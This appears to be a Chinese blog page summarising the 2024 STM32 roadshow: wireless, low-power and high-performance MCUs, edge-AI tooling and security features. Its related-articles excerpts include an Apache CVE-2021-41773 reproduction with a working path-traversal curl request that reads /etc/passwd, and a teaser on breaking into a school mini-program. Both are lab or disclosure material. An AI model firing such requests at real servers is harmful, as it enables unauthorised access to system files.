当前位置: 首页 > news >正文

STM32巡回研讨会总结(2024)

前言

	本次ST公司可以说是推出了7大方面,几乎可以说是覆盖到了目前生活中的方方面面,下面总结下我的感受。

在这里插入图片描述

无线类

  1. 支持多种调制模式(LoRa®、(G)FSK、(G)MSK 和 BPSK)
  2. 满足工业和消费物联网 (IoT) 中各种低功耗广域网 (LPWAN) 无线应用的需求
  3. 支持单播和广播的方式,单播:可以同时对接服务器和蓝牙耳机。广播:可以调制频率接收不同的电台信号
  4. OTA远程升级设备等等…

低功耗类

印象最深刻的还是STM32C0和STM32U0
1.更小的封装:高集成度,只需要一对电源供电,更少的周边器件
2.U0几乎完美的封装替换

高性能类

STM32H5:
(1).40nm工艺,Cortex-M33,250MHz,128-2M Flash Memory.
(2).低功耗
(3).TrustZone安全功能

边缘AI类

边缘AI的应用

  1. 由于MPU具有NPU加速器并能灵活地在CPU、GPU或NPU上运行AI应用,目前主要的应用领域有:
    边缘AI应用领域
    主要AI开发工具如下:

  2. NANOEDGE AI STUDIO:
    优势:
    (1)完全免费
    (2)可以应用于所有Arm® Cortex®-M MCU(这个就很有意思了)
    (3)快速集成,甚至你不需要自己训练模型都可以(降低入门门槛和加速应用落地)
    (4) 本地输入数据直接生成AI libray快速集成到已有的项目中(同上)(快速集成)
    (5) 支持模型和参数的数千种组合,根据用户的数据选择合适的算法(快速应用)
    劣势:
    之前是收费的,今年开始免费,工具里面的算法和所有的库虽然可以说是快速集成,但是随着用户体量的增大,难免会出现开始免费后续收费的情况,如果有自己训练的模型还是尽量优先用自己的吧。

  3. Stm32Cube.AI:
    优势:
    (1). 自动转换预训练人工智能算法(包括神经网络和经典机器学习模型),并将生成的优化库集成到用用户项目中(将模型转换为机器可以识别的C代码)
    (2). 无需用户手动编写专门的C语言代码,即可验证桌面PC和STM32上的人工智能算法,并测量STM32器件上的性能(可以在线验证算法,以及进行在MCU上的性能测试)
    (3)完全免费

  4. X-LINUX-AI:
    X-LINUX-AI是一款针对STM32MP1和STM32MP2系列微处理器的人工智能的OpenSTLinux扩展包。它包含Linux®AI框架,以及一些基本用例的应用程序示例。

安全

STM32安全功能
很多项目都关注的安全问题:
(1)安全认证(越来越多的项目对数据安全提出了更多的要求)
(2)固件代码保护要求
(3)加密引擎针对调试端口,外部存储器内Code,加解密传输数据等

总结

1.ST公司还是做出很多值得学习的东西:
(1).SOC集成了更多的功能,比如电源管理模块,智能Sensor等集成化,减少了开发人员的设计成本
(2).AI一站式工具加速了项目的开发和部署
(3).如何真的如前面所说的STM32的Security都已经做到的话,那确实是可以说是已经武装到牙齿了

技术为应用而生,开源创造未来!

相关文章:

STM32巡回研讨会总结(2024)

前言 本次ST公司可以说是推出了7大方面,几乎可以说是覆盖到了目前生活中的方方面面,下面总结下我的感受。无线类 支持多种调制模式(LoRa、(G)FSK、(G)MSK 和 BPSK)满足工业和消费物联网 (IoT) 中各种低功耗广域网 (LPWAN) 无线应…...

54 螺旋矩阵

解题思路&#xff1a; \qquad 这道题可以直接用模拟解决&#xff0c;顺时针螺旋可以分解为依次沿“右-下-左-上”四个方向的移动&#xff0c;每次碰到“边界”时改变方向&#xff0c;边界是不可到达或已经到达过的地方&#xff0c;会随着指针移动不断收缩。 vector<int>…...

基于STM32与OpenCV的物料搬运机械臂设计流程

一、项目概述 本文提出了一种新型的物流搬运机器人&#xff0c;旨在提高物流行业的物料搬运效率和准确性。该机器人结合了 PID 闭环控制算法与视觉识别技术&#xff0c;能够在复杂的环境中实现自主巡线与物料识别。 项目目标与用途 目标&#xff1a;设计一款能够自动搬运物流…...

[万字长文]stable diffusion代码阅读笔记

stable diffusion代码阅读笔记 获得更好的阅读体验可以转到我的博客y0k1n0的小破站 本文参考的配置文件信息: AutoencoderKL:stable-diffusion\configs\autoencoder\autoencoder_kl_32x32x4.yaml latent-diffusion:stable-diffusion\configs\latent-diffusion\lsun_churches-ld…...

watchEffect工作原理

watchEffect工作原理 自动依赖收集&#xff1a;watchEffect不需要明确指定要观察的响应式数据&#xff0c;它会自动收集回调函数中用到的所有响应式数据作为依赖。即时执行&#xff1a;watchEffect的回调函数会在组件的setup()函数执行时立即执行一次&#xff0c;以便能够立即…...

斐波那契数列

在 Python 3.11 中实现斐波那契数列的常见方式有多种&#xff0c;下面我将展示几种不同的实现方法&#xff0c;包括递归、迭代和使用缓存&#xff08;动态规划&#xff09;来优化递归版本。 1. 递归方式&#xff08;最简单但效率较低&#xff09; def fibonacci_recursive(n)…...

TCP并发服务器的实现

一请求一线程 问题 当客户端数量较多时&#xff0c;使用单独线程为每个客户端处理请求可能导致系统资源的消耗过大和性能瓶颈。 资源消耗&#xff1a; 线程创建和管理开销&#xff1a;每个线程都有其创建和销毁的开销&#xff0c;特别是在高并发环境中&#xff0c;这种开销…...

前端大屏自适应方案

一般后台管理页面&#xff0c;需要自适应的也就是大屏这一个&#xff0c;其他的尺寸我感觉用第三方框架继承好的就挺合适的&#xff0c;当然自适应方案也可以同步到所有页面&#xff0c;但我感觉除了 to c 的项目&#xff0c;不太需要所有页面自适应&#xff0c;毕竟都是查看和…...

16.3 k8s容器cpu内存告警指标与资源request和limit

本节重点介绍 : Guaranteed的pod Qos最高在生产环境中&#xff0c;如何设置 Kubernetes 的 Limit 和 Request 对于优化应用程序和集群性能至关重要。对于 CPU&#xff0c;如果 pod 中服务使用 CPU 超过设置的limits&#xff0c;pod 不会被 kill 掉但会被限制。如果没有设置 li…...

【计算机网络 - 基础问题】每日 3 题(二十)

✍个人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/fYaBd &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 C 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞&#x1f44d;收藏&…...

铰链损失函数

铰链损失函数&#xff08;Hinge Loss&#xff09;主要用于支持向量机&#xff08;SVM&#xff09;中&#xff0c;旨在最大化分类间隔。它的公式为&#xff1a; L ( y , f ( x ) ) max ⁡ ( 0 , 1 − y ⋅ f ( x ) ) L(y, f(x)) \max(0, 1 - y \cdot f(x)) L(y,f(x))max(0,1−…...

项目实战bug修复

实操bug修复记录 左侧侧边栏切换&#xff0c;再次切换侧边栏&#xff0c;右侧未从顶部初始位置展示。地图定位展示&#xff0c;可跳转到设置的对应位置。一个页面多个el-dialog弹出框导致渲染层级出现问题。锚点滚动定位错位问题。动态类名绑定。el-tree树形通过 draggable 属性…...

Git常用指令整理【新手入门级】【by慕羽】

Git 是一个分布式版本控制系统&#xff0c;主要用于跟踪和管理源代码的更改。它允许多名开发者协作&#xff0c;同时提供了强大的功能来管理项目的历史记录和不同版本。本文主要记录和整理&#xff0c;个人理解的Git相关的一些指令和用法 文章目录 一、git安装 & 创建git仓…...

记某学校小程序漏洞挖掘

前言&#xff1a; 遇到一个学校小程序的站点&#xff0c;只在前端登录口做了校验&#xff0c;后端没有任何校验&#xff0c;奇葩弱口令离谱进去&#xff0c;站点里面越权泄露敏感信息&#xff0c;接管账号等漏洞&#xff01;&#xff01;&#xff01; 渗透思路 1.绕过前端 …...

腾讯百度阿里华为常见算法面试题TOP100(3):链表、栈、特殊技巧

之前总结过字节跳动TOP50算法面试题: 字节跳动常见算法面试题top50整理_沉迷单车的追风少年-CSDN博客_字节算法面试题 链表 160.相交链表...

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证...

vue-入门速通

setup是最早的生命周期&#xff0c;在vue2里边的data域可以使用this调用setup里面的数据&#xff0c;但是在setup里边不能使用thisvue项目的可执行文件是index&#xff0c;另外运行前端需要npm run vue的三个模块内需要三个不同的结构&#xff0c;里边放置js代码&#xff0c;注…...

【AI大模型】通义大模型API接口实现

目录 一、基础环境安装 &#xff08;一&#xff09;OpenAI Python SDK安装 &#xff08;二&#xff09;DashScope SDK安装 二、OPENAI接口实现 &#xff08;一&#xff09;文本输入 &#xff08;二&#xff09;流式输出 &#xff08;三&#xff09;图像输入 &#xff0…...

CVPR最牛图像评价算法!

本文所涉及所有资源均在 传知代码平台可获取。 目录 概述 一、论文思路 1.多任务学习框架&#xff1a; 2.视觉-语言对应关系&#xff1a; 3.动态损失权重&#xff1a; 4.模型优化和评估&#xff1a; 二、模型介绍 三、详细实现方法 1.图像编码器和语言编码器&#xff08;Image…...

Spring源码-从源码层面讲解传播特性

传播特性:service&#xff1a;REQUIRED&#xff0c;dao:REQUIRED 两个都是required使用的是同一个事务&#xff0c;正常情况&#xff0c;在service提交commit <tx:advice id"myAdvice" transaction-manager"transactionManager"><tx:attributes&…...

VMware Workstation 16开机自启踩坑实录:从环境变量报错到bat脚本优化,一篇搞定

VMware Workstation 16开机自启全攻略&#xff1a;从环境变量到脚本优化的深度实践 每次重启服务器后手动打开虚拟机实在是个体力活。上周我负责维护的测试环境又因为忘记启动虚拟机导致整个团队阻塞了半天&#xff0c;这种低级错误让我决定彻底解决VMware Workstation的开机自…...

Phi-4-mini-reasoning效果展示:Chainlit中实时显示推理耗时与token生成速率

Phi-4-mini-reasoning效果展示&#xff1a;Chainlit中实时显示推理耗时与token生成速率 1. 模型简介 Phi-4-mini-reasoning 是一个基于合成数据构建的轻量级开源模型&#xff0c;专注于高质量、密集推理的数据处理。作为Phi-4模型家族的一员&#xff0c;它特别强化了数学推理…...

嵌入式开发代码版本比较工具与技巧

1. 嵌入式开发中的代码版本差异查看方法在嵌入式开发过程中&#xff0c;代码版本管理是每个工程师必须掌握的核心技能。随着项目迭代和功能更新&#xff0c;我们经常需要比较不同版本代码之间的差异&#xff0c;无论是为了代码审查、问题排查还是版本合并。作为一名嵌入式开发者…...

掌握MEAN.JS模块化开发:5个核心模块实战指南与最佳实践

掌握MEAN.JS模块化开发&#xff1a;5个核心模块实战指南与最佳实践 【免费下载链接】mean MEAN.JS - Full-Stack JavaScript Using MongoDB, Express, AngularJS, and Node.js - 项目地址: https://gitcode.com/gh_mirrors/mea/mean MEAN.JS作为基于MongoDB、Express、…...

用计算机科学与技术的视角,把谈恋爱流程化:构建可运行、可调试、可迭代的情感操作系统

用计算机科学与技术的视角&#xff0c;把谈恋爱流程化&#xff1a;构建可运行、可调试、可迭代的情感操作系统 善灵驿站 成长心理 技术思维深度融合系列 作者&#xff1a;培风图南以星河揽胜 专栏链接&#xff1a;善灵驿站 &#x1f4cc; 导读&#xff1a;为什么技术人更需要…...

7个效率倍增技巧:StarRailAssistant自动化工具解放崩坏星穹铁道玩家双手

7个效率倍增技巧&#xff1a;StarRailAssistant自动化工具解放崩坏星穹铁道玩家双手 【免费下载链接】StarRailAssistant 崩坏&#xff1a;星穹铁道自动化 | 崩坏&#xff1a;星穹铁道自动锄大地 | 崩坏&#xff1a;星穹铁道锄大地 | 自动锄大地 | 基于模拟按键 项目地址: ht…...

**AI仿真人剧机构推荐,2025年引领娱乐新潮流**随着科技的飞速发展,AI技术已经渗透到我们生活的方方面面。在娱乐领域,AI仿真人剧机构如同一颗璀璨的新星,正在引领着新一轮的潮流。那么,在众多

随着科技的飞速发展&#xff0c;AI技术已经渗透到我们生活的方方面面。在娱乐领域&#xff0c;AI仿真人剧机构如同一颗璀璨的新星&#xff0c;正在引领着新一轮的潮流。那么&#xff0c;在众多的AI仿真人剧机构中&#xff0c;如何选择一家优质的机构呢&#xff1f;本文将为您揭…...

UUID和Name不在同一条BLE广播报文里

概要通过在命令行窗口打印部分报文信息&#xff0c;发现&#xff1a;设备向外发送BLE蓝牙低功耗广播&#xff0c;设备的UUID和Name不在同一条广播报文里UUID是通用唯一标识符一、设备1、发送报文的设备能够发送BLE蓝牙低功耗广播的设备。本篇使用的是周围环境中的未知设备。2、…...

cronos:嵌入式C++17零依赖chrono时间抽象库

1. 项目概述cronos是一个轻量级、零依赖的 C17 头文件库&#xff0c;其核心目标是为嵌入式系统提供std::chrono兼容的、与硬件原生滴答计数器&#xff08;native tick counter&#xff09;无缝对接的时间抽象层。它并非实现一个独立的定时器驱动&#xff0c;而是作为“适配器”…...

Python 算法详解:从原理到实践

Python 算法详解&#xff1a;从原理到实践 1. 背景与动机 算法是计算机科学的核心&#xff0c;它是解决问题的步骤和方法。Python 作为一种功能强大的编程语言&#xff0c;提供了丰富的工具和库来实现各种算法。掌握 Python 算法不仅可以提高程序的效率&#xff0c;还可以培养解…...